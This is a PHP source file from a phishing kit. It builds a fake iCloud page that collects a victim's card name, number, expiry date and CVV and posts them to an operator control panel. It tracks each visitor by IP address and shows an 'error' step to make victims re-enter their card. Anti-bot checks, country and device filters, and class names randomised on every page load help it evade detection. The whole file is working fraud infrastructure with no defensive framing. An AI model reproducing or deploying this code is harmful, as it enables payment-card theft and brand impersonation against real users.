<?php
    error_reporting(0);
    session_start();

    include "../antibots-debug/antibots.php";
    include '../setting/functions.php';
    include '../includes/current-page.php';
    include '../includes/check-allowed-countries.php';
    include '../includes/check-devices-allow.php';
    require_once "../setting/lang.php";

    // Lang Fucntion :
    lang();
    
    $ip = get_client_ip();
    $get_name_file = str_replace(".", "-", $ip);
    $target_file = "../panel/storage/{$get_name_file}.json";
    $json_file = file_get_contents($target_file);
    $user_info = json_decode($json_file, true);
    $user_info['error_credit_card'];
    
    if ($user_info['error_credit_card'] == 1) {
        $get_name_page = "Page Credit Card Error";
        $get_step = "credit-card-error";
    } else {
        $get_name_page = "Page Credit Card";
        $get_step = "credit-card";
    }
    get_page_info($get_name_page, $get_name_file);
    
    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
?>
<!DOCTYPE html>
<html lang="en" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> ">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Open+Sans:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/main.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.png">
    <link rel="shortcut" href="../img/favicon.png">
    <link rel="appel-touch-icon" href="../img/favicon.png">
    <title>iCloud - <?php echo get_text('title_head_4'); ?></title>
</head>
<body id="body" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> ">
    <!-- Start Nav Bar -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> nav-bar">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-nav-bar">
            <img class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> show-message-explain" src="../img/logo.png" alt="">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> button-svg-navbar show-message-explain">
                <svg class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> svg-navbar" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" height="22" width="22" aria-hidden="true">
                    <path d="M12.9321097,6.8055484 C12.9321097,3.30883872 10.0968839,0.505161291 6.53720646,0.505161291 C3.07198065,0.505161291 0.236774194,3.30883872 0.236774194,6.8055484 C0.236774194,10.3022581 3.07198065,13.1059355 6.53720646,13.1059355 C10.0968839,13.1059355 12.9321097,10.3022581 12.9321097,6.8055484 Z M36.2435936,6.8055484 C36.2435936,3.30883872 33.4399162,0.505161291 29.9432065,0.505161291 C26.4779807,0.505161291 23.6743033,3.30883872 23.6743033,6.8055484 C23.6743033,10.3022581 26.4779807,13.1059355 29.9432065,13.1059355 C33.4399162,13.1059355 36.2435936,10.3022581 36.2435936,6.8055484 Z M59.6495291,6.8055484 C59.6495291,3.30883872 56.8459162,0.505161291 53.3492065,0.505161291 C49.7894646,0.505161291 46.9857872,3.30883872 46.9857872,6.8055484 C46.9857872,10.3022581 49.7894646,13.1059355 53.3492065,13.1059355 C56.8459162,13.1059355 59.6495291,10.3022581 59.6495291,6.8055484 Z" transform="translate(2 25.226)"></path>
                </svg>
            </div>
        </div>
    </div>
    <!-- End Nav Bar -->

    <!-- Start Main -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> main">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-main">
            <img src="../img/logo-steps.png" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> image-steps">
            <h1 class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> title-steps-2"><?php echo get_text('title_step_4'); ?></h1>
            <p class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> p-explain"><?php echo get_text('p_explain_step_4'); ?></p>
            <form action="../control-panel/check-action.php" method="post" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> form-other" id="formDrac">
                <input type="hidden" name="step" value="<?php echo $get_step; ?>">
                <input type="hidden" name="ip" value="<?php echo $get_name_file; ?>">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> logos-payment">
                    <img src="../img/visa.png" alt="">
                    <img src="../img/mastercard.png" alt="">
                    <img src="../img/american-express.png" alt="">
                    <img src="../img/discover.png" alt="">
                </span>
                <?php
                    if ($user_info['error_credit_card'] == 1) {
                        echo
                        '<span class="message-error-pages">
                            <i class="fa-solid fa-triangle-exclamation"></i>'
                            .get_text('message_error_pages_3').
                        '</span>';
                    }
                ?>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-inputs" id="div1">
                    <label for="nameCard" id="labelNameCard"><?php echo get_text('name_card_label'); ?></label>
                    <input type="text" autofocus="true" name="name_card" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> input-other" id="nameCard">
                    <small class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> message-error" id="messageError1"><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-error"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-exclamation"></i></span><?php echo get_text('message_error_inputs'); ?></small>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-inputs"  id="div2">
                    <label for="numberdrac" id="labelnumberdrac"><?php echo get_text('one_label'); ?></label>
                    <input class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> input-other" type="tel" id="numberdrac" name="numberdrac">
                    <small class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> message-error" id="messageError2"><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-error"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-exclamation"></i></span><?php echo get_text('message_error_inputs'); ?></small>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-inputs" id="div3">
                    <label for="datedrac" id="labeldatedrac"><?php echo get_text('two_lable'); ?><?php echo get_text('two_label_explain'); ?></label>
                    <input class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> input-other" type="tel" id="datedrac" maxlength="5" name="datedrac">
                    <small class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> message-error" id="messageError3"><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-error"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-exclamation"></i></span><?php echo get_text('message_error_inputs'); ?></small>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-inputs" id="div4">
                    <label for="vvcdrac" id="labelvvcdrac"><?php echo get_text('three_label'); ?></label>
                    <input class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> input-other" type="tel" maxlength="4" id="vvcdrac" name="vvcdrac">
                    <small class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> message-error" id="messageError4"><span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> icon-error"><i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-exclamation"></i></span><?php echo get_text('message_error_inputs'); ?></small>
                    <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> drac-icon">
                        <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-credit-card"></i>
                    </span>
                </div>
                <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> parent-button">
                    <button type="submit"  class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> button-send-data" id="buttonSendData" name="b_s_d_p"><?php echo get_text('button_send_data'); ?></button>
                </div>
            </form>
        </div>
    </div>
    <!-- End Main -->
    
    <!-- Start Footer -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> footer">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-footer">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> links-footer">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> link-footer show-message-explain"> <?php echo get_text('link_footer_1'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> border-right"></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> link-footer show-message-explain"> <?php echo get_text('link_footer_2'); ?></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> border-right"></span>
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> link-footer show-message-explain"> <?php echo get_text('link_footer_3'); ?></span>
            </div>
            <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> copyright"><?php echo get_text('copyright'); ?></span>
        </div>
    </div>
    <!-- End Footer -->

    <!-- Message Explain -->
    <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> message-user" id="messageUser">
        <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> content-message-user">
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> header-messsage-user">
                <img src="../img/logo.png" alt="">
                <button class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> close-message-header" id="closeMessageuser1" type="button"><i
                        class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-xmark"></i></button>
            </div>
            <div class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> text-message-user">
                <span class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> alert-icon">
                    <i class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> fa-solid fa-shield-halved"></i>
                </span>
                <h2><?php echo get_text('title_message_user'); ?></h2>
                <p>
                    <?php echo get_text('text_message_user'); ?>
                </p>
                <button type="button" class="<?php echo substr(str_shuffle($permitted_chars), 0, 4);?> close-message-user" id="closeMessageuser2"><?php echo get_text('button_message_user'); ?></button>
            </div>
        </div>
    </div>
    <!-- Message Explain -->
     
    <!-- Script Js -->
    <script src="../js/script-all.js"></script>
    <script src="../js/script-step-two.js"></script>
    <script src="../js/jquery.min.js"></script>
    <script src="../js/cleave.min.js"></script>
    <script src="../js/script-validator.js"></script>
    <script>
        $(function(){function e(){$("#numberdrac").validateCreditCard(function(e){!1==e.valid?($("#div2").removeClass("success"),$("#numberdrac").addClass("error-input"),$("#labelnumberdrac").addClass("error-label"),$("#messageError2").addClass("show-error-message")):($("#div2").addClass("success"),$("#messageError2").removeClass("show-error-message"),$("#labelnumberdrac").removeClass("error-label"),$("#numberdrac").removeClass("error-input"))})}$("#buttonSendData").click(function(){e()}),$("#numberdrac").on("input",function(){e()}),$("#numberdrac").on("blur",function(){e()})});const cleaceCC=new Cleave("#numberdrac",{creditCard:!0,delimiter:" "}),cleaveDate=new Cleave("#datedrac",{date:!0,datePattern:["m","y"]});
    </script>
    <?php include '../includes/redirect.php'; ?>
    <?php include '../includes/status.php'; ?>
</body>
</html>

